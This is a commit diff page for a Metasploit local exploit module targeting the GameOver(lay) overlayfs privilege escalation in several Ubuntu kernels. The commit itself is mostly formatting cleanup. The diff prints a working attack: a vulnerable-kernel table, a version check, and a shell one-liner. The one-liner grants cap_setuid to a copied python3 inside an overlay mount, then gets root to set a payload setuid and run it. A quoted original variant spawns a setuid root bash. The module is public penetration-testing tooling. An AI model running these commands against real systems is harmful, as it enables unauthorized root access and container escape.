Skip to content

Commit af91d97

Browse files
author
Corey
committed
Merge branch 'game_overlay'
merge game_overlay rubocop
2 parents 77e469b + 0290f97 commit af91d97

File tree

1 file changed

+37
-39
lines changed

1 file changed

+37
-39
lines changed

modules/exploits/linux/local/game_overlay_privesc.rb

Lines changed: 37 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,10 @@
11
class MetasploitModule < Msf::Exploit::Local
2-
2+
33
prepend Msf::Exploit::Remote::AutoCheck
44
include Msf::Post::Linux::System
55
include Msf::Post::Linux::Kernel
66
include Msf::Post::File
7-
include Msf::Exploit::FileDropper
7+
include Msf::Exploit::FileDropper
88
include Msf::Exploit::CmdStager
99

1010
def initialize(info = {})
@@ -13,14 +13,14 @@ def initialize(info = {})
1313
info,
1414
'Name' => 'GameOver(lay) Privilege Escalation and Container Escape',
1515
'Description' => %q{
16-
This module exploits the use of unsafe functions in a number of Ubuntu kernels
17-
utilizing vunerable versions of overlayfs. To mitigate CVE-2021-3493 the Linux
18-
kernel added a call to vfs_setxattr during ovl_do_setxattr. Due to independent
19-
changes to the kernel by the Ubuntu development team __vfs_setxattr_noperm is
20-
called during ovl_do_setxattr without calling the intermediate safety function
21-
vfs_setxattr. Ultimatly this module allows for root access to be achieved by
22-
writing setuid capabilities to a file which are not santiized after being unioned
23-
with the upper mounted directory.
16+
This module exploits the use of unsafe functions in a number of Ubuntu kernels
17+
utilizing vunerable versions of overlayfs. To mitigate CVE-2021-3493 the Linux
18+
kernel added a call to vfs_setxattr during ovl_do_setxattr. Due to independent
19+
changes to the kernel by the Ubuntu development team __vfs_setxattr_noperm is
20+
called during ovl_do_setxattr without calling the intermediate safety function
21+
vfs_setxattr. Ultimatly this module allows for root access to be achieved by
22+
writing setuid capabilities to a file which are not santiized after being unioned
23+
with the upper mounted directory.
2424
},
2525
'License' => MSF_LICENSE,
2626
'Author' => [
@@ -40,9 +40,9 @@ def initialize(info = {})
4040
['CVE', '2023-32629'],
4141
['CVE', '2023-2640']
4242
],
43-
'Targets' => [ [ 'Linux', {} ] ],
44-
'Arch' => [ ARCH_X86, ARCH_X64 ],
45-
'CmdStagerFlavor' => 'bourne'
43+
'Targets' => [ [ 'Linux', {} ] ],
44+
'Arch' => [ ARCH_X86, ARCH_X64 ],
45+
'CmdStagerFlavor' => 'bourne'
4646
)
4747
)
4848
register_options [
@@ -54,21 +54,21 @@ def initialize(info = {})
5454
def vuln
5555
# Keys are ubuntu versions, vals is list of vunerable kernels
5656
{
57-
"Lunar Lobster": %w[6.2.0], # Ubuntu 23.04
58-
"Kinetic Kudu": %w[5.19.0], # Ubuntu 22.10
59-
"Jammy Jellyfish": %w[5.19.0 6.2.0], # Ubuntu 22.04 LTS
60-
"Focal Fossa": %w[5.4.0], # Ubuntu 20.04 LTS
61-
"Bionic Beaver": %w[5.4.0], # Ubuntu 18.04 LTS
62-
}.transform_keys! {|k| k.to_s} # w/o this key will be :"Bionic Beaver"
63-
end
57+
"Lunar Lobster": %w[6.2.0], # Ubuntu 23.04
58+
"Kinetic Kudu": %w[5.19.0], # Ubuntu 22.10
59+
"Jammy Jellyfish": %w[5.19.0 6.2.0], # Ubuntu 22.04 LTS
60+
"Focal Fossa": %w[5.4.0], # Ubuntu 20.04 LTS
61+
"Bionic Beaver": %w[5.4.0] # Ubuntu 18.04 LTS
62+
}.transform_keys!(&:to_s) # w/o this key will be :"Bionic Beaver"
63+
end
6464

6565
def check
6666
fail_with(Failure::NotVulnerable, 'Target is not linux') unless session.platform == 'linux'
6767

68-
# Must be Ubuntu
69-
fail_with(Failure::NotVulnerable, "Target is not Ubuntu.") unless kernel_version =~ /[uU]buntu/
68+
# Must be Ubuntu
69+
fail_with(Failure::NotVulnerable, 'Target is not Ubuntu.') unless kernel_version =~ /[uU]buntu/
7070

71-
os = cmd_exec "cat /etc/os-release"
71+
os = cmd_exec 'cat /etc/os-release'
7272

7373
# grab codename i.e. Focal Fossa
7474
codename = os.scan(/\(\w* \w*\)/)[0]
@@ -87,18 +87,18 @@ def check
8787
# will this return in correct context??
8888
# could scan kernel to prevent looping if return below doesn't work
8989
vuln[codename].each do |version|
90-
if kernel.include? version
91-
return CheckCode::Vulnerable "#{codename} with #{kernel} kernel is vunerable"
92-
end
90+
if kernel.include? version
91+
return CheckCode::Vulnerable "#{codename} with #{kernel} kernel is vunerable"
92+
end
9393
end
9494
end
9595

96-
def execute_command(cmd, opts = {})
97-
payload_file = datastore['PayloadFilename']
96+
def execute_command(_cmd, _opts = {})
97+
datastore['PayloadFilename']
9898

99-
payload_dir = datastore['PayloadDir']
99+
datastore['PayloadDir']
100100

101-
directories = %w[l u w m].flat_map {|e| "/tmp/main/#{e}"}
101+
directories = %w[l u w m].flat_map { |e| "/tmp/main/#{e}" }
102102

103103
# Should we make sure directory doesn't already exist?
104104

@@ -108,20 +108,18 @@ def execute_command(cmd, opts = {})
108108
end
109109
# register_dir_for_cleanup "/tmp/main/"
110110

111+
write_file '/tmp/main/marv', generate_payload_exe
112+
# works move test to low, run unshare mount set cap, shell
111113

112-
write_file "/tmp/main/marv", generate_payload_exe
113-
#works move test to low, run unshare mount set cap, shell
114-
115-
print_status "Starting new namespace, and running exploit..."
114+
print_status 'Starting new namespace, and running exploit...'
116115

117-
hack = "unshare -rm sh -c \"cp /u*/b*/p*3 /tmp/main/l/; setcap cap_setuid+eip /tmp/main/l/python3; mount -t overlay overlay -o rw,lowerdir=/tmp/main/l,upperdir=/tmp/main/u,workdir=/tmp/main/w /tmp/main/m && touch /tmp/main/m/*\" && /tmp/main/u/python3 -c 'import os;os.setuid(0);os.system(\"chmod 4755 /tmp/main/marv && /tmp/main/marv\")' "
116+
hack = "unshare -rm sh -c \"cp /u*/b*/p*3 /tmp/main/l/; setcap cap_setuid+eip /tmp/main/l/python3; mount -t overlay overlay -o rw,lowerdir=/tmp/main/l,upperdir=/tmp/main/u,workdir=/tmp/main/w /tmp/main/m && touch /tmp/main/m/*\" && /tmp/main/u/python3 -c 'import os;os.setuid(0);os.system(\"chmod 4755 /tmp/main/marv && /tmp/main/marv\")' "
118117

119-
# g1vi original
120-
# "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'"
118+
# g1vi original
119+
# "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'"
121120
print_status "Running exploit: '#{hack}' "
122121
puts cmd_exec_with_result(hack)
123-
124-
end
122+
end
125123

126124
def exploit
127125
execute_cmdstager

0 commit comments

Comments
 (0)